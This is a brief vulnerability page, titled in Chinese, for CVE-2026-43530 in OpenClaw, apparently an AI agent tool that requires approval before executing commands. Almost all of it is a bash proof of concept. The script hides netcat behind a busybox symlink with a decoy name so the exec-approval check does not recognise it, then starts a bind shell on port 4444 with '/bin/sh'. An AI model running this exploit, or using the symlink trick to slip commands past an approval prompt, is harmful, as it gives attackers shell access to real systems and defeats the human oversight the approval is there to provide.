CVE-2026-43530 OpenClaw执行批准绑定绕过漏洞

#!/bin/bash # PoC for CVE-2026-43530: Weakened exec approval binding # This script demonstrates how an attacker might obscure the actual applet being executed. # Create a symlink to busybox to obscure the target ln -s /bin/busybox ./tmp_bypass # Execute a restricted applet (e.g., netcat) through the obscured path # The system may fail to bind the approval check to 'nc' specifically ./tmp_bypass nc -l -p 4444 -e /bin/sh echo "[+] Exploit executed, check shell on port 4444"